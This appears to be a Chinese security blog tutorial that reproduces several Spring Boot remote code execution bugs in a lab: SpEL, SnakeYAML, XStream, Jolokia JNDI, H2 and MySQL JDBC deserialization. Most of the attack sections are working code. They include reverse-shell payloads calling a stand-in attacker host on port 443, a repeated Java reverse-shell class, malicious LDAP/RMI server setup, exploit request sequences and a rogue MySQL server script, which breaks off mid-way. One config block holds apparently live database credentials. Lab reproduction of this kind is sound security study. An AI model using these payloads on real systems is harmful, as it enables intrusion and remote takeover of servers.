spring boot远程代码执行漏洞复现

SpringBoot远程代码执行漏洞复现

文章目录

0x00 环境搭建

https://github.com/LandGrey/SpringBootVulExploit有用于模拟漏洞的源代码文件,我们只需要进行简单的操作即可运行这段源代码

安装java

apt search jdk | grep openjdk-8
apt install openjdk-8-jdk openjdk-8-jdk-headless

切换java环境版本

update-alternatives --config java

我们需要选择openjdk-8版本

安装maven

apt install maven

安装github项目

git clone https://github.com/LandGrey/SpringBootVulExploit.git

进入特定漏洞复现环境,我们这里以repository/springboot-spel-rce为例。修改该文件中src/main/resources/application.properties文件。

server.port=9091
server.address=0.0.0.0

# mysql-可选
# spring.datasource.name=druidDataSource
# spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
# ping.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-8&allowMultiQueries=true&autoReconnect=true
# spring.datasource.username=<YOURUSERNAME>
# spring.datasource.password=<YOURPASSWORD>

运行springboot(项目文件根目录下)

mvn install
mvn spring-boot:run

0x01 框架识别

手动识别: 小绿叶、404报错
img

工具识别: https://github.com/rabbitmask/SB-Actuator
img

0x02 whitelabel error page SpEL RCE

利用条件

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

复现过程

步骤一: 找到一个正常传参处

某页面某参数(/article?id=xxx)返回500
img

步骤二: 执行SpEL表达式

向该参数处传递任意SpEL表达式(/article?id=${9*9})
img

漏洞利用

将我们想要执行的代码转换成字节形式,方便执行

# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

传递参数(/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))})
img

漏洞原理

https://www.cnblogs.com/litlife/p/10183137.html

0x03 spring cloud SnakeYAML RCE

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

复现过程

步骤一: VPS托管yml和jar文件

我们需要一个可被访问到的http服务器,用于让目标在触发漏洞时远程拉取恶意jar文件,从而实现rce
我们使用python打开80端口

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

接下来,我们需要在目标的某个可访问的地址下放置我们的ymljar文件,这两个文件的内容如下

yml文件
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://<your-ip>/jar文件路径"]
  ]]
]
jar文件
git clone https://github.com/artsploit/yaml-payload`,修改`src/artsploit/AwesomeScriptEngineFactory.java
ackage artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com"); //更改为你要执行的命令
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");  
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

将该项目编译为jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

img

参考https://github.com/artsploit/yaml-payload

步骤二: POST请求/env接口

POST/env接口,设置spring.cloud.bootstrap.location 属性,查看是否能够POST成功

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

img

步骤三: POST请求/refresh接口

POST请求/refresh,用于刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

img

漏洞原理

https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/

0x04 eureka xstream deserialization RCE

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

复现过程

步骤一: 架设响应恶意XStream payload的服务器

我们需要在vps上架设一个恶意的程序,当目标访问该url时,该程序返回一个恶意的payload,目标触发XStream反序列化,从而执行恶意代码
这里我们以一个python程序为例:

#!/usr/bin/env python
# coding: utf-8

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

可以看到,这段代码主要在于s.connect(("your-vps-ip",443),用于连接你的vps的443端口。

我们需要提前运行该脚本(只是为了打开80端口,使用python -m http.server 80可替代)
img

同时,我们用nc打开某个vps的443端口(nc -lvp 443),等待s.connect(("your-vps-ip",443)执行

步骤二: 设置eureka.client.serviceUrl.defaultZone属性

将该值设置为我们刚刚搭建好的那个python恶意程序的url

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

img

步骤三: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

img

img

0x04:jolokia logback JNDI RCE

利用条件

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

复现过程

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词
img

步骤二:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,内容如下:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤三:准备要执行的 Java 代码

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

img
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。

步骤四:架设恶意 ldap 服务

下载 marshalsec

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar

接下来使用使用下面命令架设对应的ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

nc -lv 443

步骤六:从外部 URL 地址加载日志配置文件

替换实际的 your-vps-ip 地址访问 URL 触发漏洞:/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
img

漏洞原理

https://xz.aliyun.com/t/4258

0x05:jolokia Realm JNDI RCE

利用条件

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

  • 目标可以请求攻击者的服务器(请求可出外网)

  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

复现过程

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词。
img

步骤二:准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

img

步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四:架设恶意 rmi 服务

下载 marshalsec

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar

接下来使用使用下面命令架设对应的 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

nc -lvp 443

步骤六:发送恶意 payload

我们使用python脚本发送恶意payload

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://<target_url>:<target_port>/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://<your-vps-ip>:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

img
img

漏洞原理

https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html

0x06:restart h2 database query RCE

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /restart 接口重启应用

  • 存在 com.h2database.h2 依赖(版本要求暂未知)

漏洞复现

步骤一:设置 spring.datasource.hikari.connection-test-query 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('ping xxx')

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('ping xxx');"}

img

步骤二:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

img
img

漏洞原理

https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/

0x07:h2 database console JNDI RCE

利用条件

  • 存在 com.h2database.h2 依赖(版本要求暂未知)

  • spring 配置中启用 h2 console spring.h2.console.enabled=true

  • spring 配置中启用 spring.h2.console.settings.web-allow-others=true(新增)

  • 目标可以请求攻击者的服务器(请求可出外网)

  • JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)

漏洞复现

步骤零:修改配置文件

目前我们所使用的https://github.com/LandGrey/SpringBootVulExploit下的靶场环境存在问题,我们需要修改src/main/resources/application.properties如下:

# enable h2 console jndi rce
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true # 添加这行

否则会报错

H2 Console  Sorry
remote connections ('webAllowOthers') are disabled on this server.

步骤一:访问路由获得 jsessionid

直接访问目标开启 h2 console 的默认路由 /h2-console,目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx,记录下实际的 jsessionid=xxxxxx 值。
img

步骤二:打开HTTP服务

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

步骤三:准备要执行的 Java 代码

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

img
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。

步骤四:架设恶意 ldap 服务

下载 marshalsec

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar

接下来使用使用下面命令架设对应的 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 443

步骤六:发包触发JNDI注入

POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

img

0x08:mysql jdbc deserialization RCE

利用条件

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标环境中存在 mysql-connector-java 依赖

  • 目标可以请求攻击者的服务器(请求可出外网)

漏洞复现

步骤零:搭载环境

目前我们所使用的https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce靶场环境存在问题,需要进行相关配置

因为该漏洞与mysql有关,我们必须自己下载配置mysql。我们以mysql8.0、Ubuntu18.04为例

# 由于ubuntu18.04的apt库中只有mysql5.7版本,我们需要自己更新apt库
wget https://dev.mysql.com/get/mysql-apt-config_0.8.15-1_all.deb
dpkg -i mysql-apt-config_0.8.15-1_all.deb
# 出现弹窗,选择8.0版本即可

sudo apt-get update
sudo apt-get install mysql-server

接着,修改src/main/resources/application.properties,配置mysql数据库的连接,并设定时区避免报错

server.port=9097
server.address=0.0.0.0

#management.security.enabled=false
management.endpoint.restart.enabled=true
management.endpoint.refresh.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh

# ===============================
# = DATA SOURCE
# ===============================
# Set here configurations for the database connection
spring.datasource.url=jdbc:mysql://104.129.182.81:3306/mysql?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false
spring.datasource.username=kygoss
spring.datasource.password=helloknownsec
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

# Keep the connection alive if idle for a long time (needed in production)
spring.datasource.testWhileIdle=true
spring.datasource.validationQuery=SELECT 1
# ===============================
# = JPA / HIBERNATE
# ===============================
# Show or not log for each sql query
spring.jpa.show-sql=true
# Hibernate ddl auto (create, create-drop, update): with "create-drop" the database
# schema will be automatically created afresh for every start of application
spring.jpa.hibernate.ddl-auto=create-drop
# Naming strategy
spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl
spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy
# Allows Hibernate to generate SQL optimized for a particular DBMS
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8Dialect

之后,常规操作

mvn clean install
mvn spring-boot:run

直接访问9097端口,可以看到hello字样,则代表搭建成功
img

步骤一:查看环境依赖

GET 请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections、Jdk7u21、Jdk8u20 等;

搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。

步骤二:架设恶意 rogue mysql server

在我们的vps上,用python2运行该脚本:

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
    global count
    count += 1
    print("[*] Package order: {}, Send: {}".format(count, payload))
    conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
    global count, BUFFER_SIZE

    count += 1
    data = conn.recv(BUFFER_SIZE)
    print("[*] Package order: {}, Receive: {}".format(count, data))
    return str(data).lower()


def run_mysql_server():
    global count, deserialization_payload

    while True:
        count = 0
        conn, addr = server_socks.accept()
        print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
        greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
        server_send(conn, greeting)
        if os.path.isfile(deserialization_file):
            with open(deserialization_file, 'rb') as _f:
                deserialization_payload = binascii.b2a_hex(_f.read())
        while True:
            # client auth
            server_receive(conn)
            server_send(conn, response_ok)

            # client query
            data = server_receive(conn)
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "set names" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "set character_set_results" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "show session status" in data:
                _data = '0100000102'
                _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
                _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
                _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
                _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
                _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
                _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
                _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
                _data += '07000005fe000022000100'
                server_send(conn, _data)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                server_send(conn, _payload)

            break
        try:
            conn.close()
        except Exception as e:
            pass

if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306

    deserialization_file = r'payload.ser'
    if os.path.isfile(deserialization_file):
        with open(deserialization_file, 'rb') as f:
            deserialization_payload = binascii.b2a_hex(f.read())
    else:
        deserialization_payload = 'aced****(your deserialized hex data)'

    count = 0
    BUFFER_SIZE = 1024
    response_ok = '0700000200000002000000'
    print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
    server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
